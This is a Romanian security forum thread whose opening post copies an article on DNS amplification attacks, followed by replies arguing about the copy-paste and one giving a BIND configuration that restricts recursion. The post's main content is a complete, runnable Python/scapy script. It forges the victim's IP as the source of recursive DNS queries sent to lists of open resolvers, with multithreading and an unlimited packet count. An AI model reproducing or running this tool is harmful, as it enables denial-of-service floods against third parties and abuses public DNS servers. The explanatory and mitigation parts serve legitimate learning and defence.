Jump to content
Silviu

DNS Amplification Attacks - Proof of Concept Code

Recommended Posts

Ca tot am vazut ca nu e postat..

The below code is a proof-of-concept side-project written by myself and Jon Ferretti to learn more about the TCP/IP stack, as well as to aid us in our schools Red vs. Blue competition.

In a Denial of Service (DOS) attack, the goal is quite literally do what the name implies - bring down the services in an effort to prevent other people from being able to access them. Generally speaking, the "typical" method for such an attack is to flood the targeted server with so much traffic that nobody else can access the services. So naturally as the attacker, the more data you can send, the better.

A DNS Amplification Attack exploits a feature of the DNS stack, specifically the recursive capability. Before I explain recursion, let us first re-examine the basics of DNS. In its most simplistic form, every website (or other server) has a publicly facing IP address. For a user to connect to that website, their browser must know what that IP address is. This is where the magic of DNS comes in. When a user types in a web address, their browser asks a DNS server who the address belongs to. The DNS server responds, giving the browser the IP to connect to, at which point the browser establishes a connection and brings the user to the website.

Given the sheer volume of websites that exist on the Internet, it's not difficult to understand why there are a multitude of DNS servers around the world. DNS recursion plays a vital role in ensuring that users globally can access websites that the DNS server closest to them may not be aware of (a single DNS server simply cannot keep track of every domain). When the DNS server cant come up with a match for the URL requested, it asks its' superior. This "asking" is called recursion. When a server along this recursive chain comes up with a response, it is sent back to the original client that requested the translation (URL to IP Address).

This process seems perfectly reasonable, and in many cases, is. The catch 22 though is that with each recursive hop to find a translation, the size (packet size here) of the result gets larger. Couple that concept with some packet crafting and the end result can be disastrous. This script exemplifies this concept. By crafting packets being sent to a DNS server that allows for recursion, the attacker can make a normal query that is 64 bytes in size, return a response that is tens of times larger than the original request (as seen below).

dns_amplification_recursive_response.png

This image demonstrates the principle described above. As dig merely decodes responses, we can see that qr is set, which tells us nothing other than what we're looking at is a Query Response. The second flag we have returned is rd, which indicates that dig requested recursion in the query. The last flag we see is ra, which tells us exactly what we wanted to see - that recursion was available (and subsequently used) to gather the data in our response.

When we look at the query information, at the bottom of our query, we see the response returned was 4.192 bytes in size (roughly sixty-five times larger than our initial request)

--= More to come =--

#

# DNS Amplification DOS Attack Script - Proof of Concept

#

# Co-Authored Johnathin Ferretti and Pat Litke

#

# Pat Litke | geudrik

# Jonathin Ferretti | LISTERINe

#

# January 2012

#

#

#

# Dependencies

# python-scapy

# python-dnspython

#

#

# Basic imports to do simple I/O

from optparse import OptionParser

from string import lower

from os import path, system

# Ensure that switches are set before we do much of anything else.

# This ensures that system resources aren't unnecessarily used

system("clear")

print "###########################################################"

print "### DNS Amplification DOS Attack - Proof of Concept ###"

print "### ###"

print "### Co-Authored : LISTERINe and geudrik ###"

print "### Jon Ferretti & Pat Litke ###"

print "### Last Modified : January 2012 ###"

print "###########################################################"

print "\n\n"

parser=OptionParser()

# Required Parameters

parser.add_option("-t", "--target",

action="store", dest="target",

help="IP address of our target")

parser.add_option("-s", "--servers",

action="store", dest="servers",

help="Path to our list of recursive DNS servers")

parser.add_option("-a", "--arecords",

action="store", dest="arecords",

help="Path or our list of A-Name records")

# Optional Parameters

parser.add_option("-c", "--count", action="store", dest="count", default=5)

parser.add_option("-v", "--verbose", action="store_true", dest="verbose")

parser.add_option("--threads", action="store", dest="threads", default=1)

parser.add_option("--verify", action="store_true", dest="verify")

(options, args)=parser.parse_args()

# Check to see that at least -t -s and -a are set as they are required

if not options.target or not options.servers or not options.arecords:

print "Options are as follows"

print "-t : Target IP Address"

print "-s : Path to Server File"

print "-a : Path to A Record FIle"

print "-c : -1 for infinite, \# of times to send packets"

print "--verify : Verify that DNS servers are indeed recursive"

print "-v : Set verbosity to true"

print "--threads : Number of threads to spawn"

print "\n"

print "Example Usage\n"

print "amplfiy.py -t 1.2.3.4 -s /usr/so.list -a /usr/arec.list -c \"-1\" --verify -v --threads=4"

exit()

else:

print "All checks have passed successfully. You are about to launch"

print " a DOS attack against "+options.target

print "The following are the options passed..."

print "Target : "+options.target

print "Servers : "+options.servers

print "A-Names : "+options.arecords

print "Send Count : "+str(options.count)

print "Verify Servers? : "+str(options.verify)

print "Verbosity? : "+str(options.verbose)

print "Thread Count : "+str(options.threads)

proof=lower(raw_input("Are you sure you want to execute this attack? (Y/N)"))

if proof=="n":

exit()

# Clear our buffer and continue on...

system("clear");

##

#####

#####################################################

# Sanitation code for our DNS amplification script

#####################################################

#####

##

from dns import flags, resolver

from os import path, system

from sys import argv, stdout

from random import randrange, seed

from threading import Thread

import logging

# Supress IPv6 warnings...

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

from scapy.all import *

### Sanitize our A-Records List

def pull_clean_servers(server_filename, verbose):

# Populate our array serverlist

try:

handle = open(path.abspath(server_filename), "r")

serverlist = handle.readlines()

if verbose:

print "Pre-sanitation: File opened and lines read"

except:

print "Bad filepath, cannot open file for reading "+server_filename

exit()

# For each server in our serverlist (see above), clean it

clean = []

for server in serverlist:

try:

clean.append(server.strip())

if verbose:

print "Server Cleaned: "+server

except:

print "Unable to parse servername: "+server

exit()

print "\n=== Sanitation Complete ===\n\n"

return clean

##

#####

####################################################

# Verification Code for our Name Servers

####################################################

#####

##

def verify_ns(nslist, verbose):

if verbose:

print "Now verifying nameservers..."

verified = []

for server in nslist:

try:

# Send our DNS request to the server

answer = resolver.query(server)

# Read DNS flags from response and check for RA flag

DNSflags = (flags._to_text(answer.response.flags,

flags._by_value,

flags._flags_order)).split(" ")

if "RA" in DNSflags:

verified.append(server)

if verbose:

print "Server "+server+" is recursive"

except:

# Server is not recursive

print "Server "+server+" is *NOT* recursive"

return verified

##

#####

####################################################

# Thread Class to handle our our Multi Threading

####################################################

#####

##

class sender(Thread):

# Define our __init__ struct

def __init__(self, threadnum, data_package):

Thread.__init__(self)

self.data = data_package

self.tnum = threadnum

self.target = data_package[0]

self.name_servers = data_package[1]

self.A_records = data_package[2]

self.send_limit = data_package[3]

self.verbose = data_package[4]

# Define our "push_dns_packets" struct

def run(self):

print "seeding..."

seed()

pac_num = 0

while self. send_limit != pac_num:

ns = self.name_servers[randrange(0,len(self.name_servers))]

A_record = self.A_records[randrange(0,len(self.A_records))]

if self.verbose:

print "| Sending Packet: "+str(pac_num+1)+" |", "Thread Number:", str(self.tnum)+" |", "Target:", self.target+" |", "Name Server:", ns+" |", "A-Record:", A_record+" |"

# Send the packet :D :D

send(IP(dst=ns, src=self.target)/UDP()/DNS(rd=1,qd=DNSQR(qname=A_record)), verbose=0)

pac_num+=1

# Define our "run" struct

#def run(self):

# self.push_DNS_packets(self.tnum, self.data[0], self.data[1], self.data[2], self.data[3], self.data[4])

##

#####

#####################################################

# Let's start assigning variables and threadding

#####################################################

#####

##

# Assign vars to be used in our threads. We'll do this one at a time to see where things break (if they do)

try:

Target = options.target

except:

print "Script Broke - Target assignment failed"

exit()

try:

Nameservers = pull_clean_servers(options.servers, options.verbose)

except:

print "Script Broke - Nameservers assignment failed"

exit()

try:

A_Records = pull_clean_servers(options.arecords, options.verbose)

except:

print "Script Broke - A_Records assignment failed."

exit()

# Things are sanitized. Do we need to verify our name servers?

if options.verify:

try:

Nameservers = verify_ns(Nameservers, options.verbose)

if options.verbose:

print "Nameserver Verification Successful..."

except:

print "Errors were encountered (see above) in nameserver verification"

print "You may continue, but the above nameservers will be ignored"

ns_error=lower(raw_input("Would you like to still try the attack (suggest not)? (Y/N) :"))

if ns_error=="n":

exit()

# Pause so we can see diagnostic output

finalcheck=lower(raw_input("This the last chance you get. Are you sure you want to continue?"))

print finalcheck

if finalcheck=="n":

print "n"

exit()

print "running"

# So here we go, lets fire up some threads

sendthreads = []

for thread in range(0,int(options.threads)):

sendthreads.append(sender(thread+1, [Target, Nameservers, A_Records, int(options.count), options.verbose]))

sendthreads[thread].start()

Sursa: https://arcti.cc/python_dns_amplification.html

  • Upvote 2
Link to comment
Share on other sites

Ai vazut ca nu e postat... si ce sa faci si tu, dai copy-paste din alta parte fara sa explici cu ce se mananca sau sa faci macar un TL;DR in romana/engleza.

Multumim, da nu prea.

Du-te ba acasa. Tradu-ti singur, nu sunt ma-ta sa iti dau mura in gura. E scris destul de clar despre ce e vorba, nu-ti convine nu citi sau cauta-ti singur materialul.

  • Downvote 1
Link to comment
Share on other sites

Daca tot este data o metoda de atac DNS Amplification, ar fi interesant sa fie si o solutie pentru asta.

O solutie de a mitiga aceasta forma de atac 'low end' este sa configurati bind (named) sa permita 'recursive queries' DOAR de la surse bine stabilite. De exemplu:

Fisier: 'named.conf'


// lista prefixe, acl
acl recurseallow {
216.156.100.0/24;
210.134.32.0/23;
188.243.11.0/24;
};

options {
// alte optiuni ...
recursion no;
allow-recursion { recurseallow; };
}

Desigur, sunt si alte optiuni, mult mai bune si mai eficiente.

Multumim pentru post silvian0

// edit

@Byte-ul: Nu e frumos sa faci asa si nici nu cred ca trebuie traducere in lb. Romana. IT-ul se invata in Engleza.

Edited by aelius
  • Upvote 1
Link to comment
Share on other sites

Du-te ba acasa. Tradu-ti singur, nu sunt ma-ta sa iti dau mura in gura. E scris destul de clar despre ce e vorba, nu-ti convine nu citi sau cauta-ti singur materialul.

Nu imi convine ca dai copy paste ca un copil. Daca scriai tu aia nu aveam nicio problema. Puteai sa pui doar linkul ca era acelasi lucru.

Link to comment
Share on other sites

Nu imi convine ca dai copy paste ca un copil. Daca scriai tu aia nu aveam nicio problema. Puteai sa pui doar linkul ca era acelasi lucru.

Esti greu de cap. Am dat c/p ca sa nu mai intre omul pe alta pagina si pentru a vedea despre ce e vorba direct aici, la noi pe forum. Nu te mai trage de sireturi cu mine ca nu sti cu ce se mananca forumul. Si daca crezi ca doar eu fac asta, uita-te la stiri securitate sa vezi ca toata lumea posteaza si continutul, asa ca nu te mai lua in gura cu lumea fara sa ai argumente.

Link to comment
Share on other sites

Esti greu de cap. Am dat c/p ca sa nu mai intre omul pe alta pagina si pentru a vedea despre ce e vorba direct aici, la noi pe forum. Nu te mai trage de sireturi cu mine ca nu sti cu ce se mananca forumul. Si daca crezi ca doar eu fac asta, uita-te la stiri securitate sa vezi ca toata lumea posteaza si continutul, asa ca nu te mai lua in gura cu lumea fara sa ai argumente.

Ah, pentru ca face toata lumea asa, ce ti-ai zis, "sa raman eu mai destept ca restu' ? Las' ca ma cobor la nivelul lor."?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...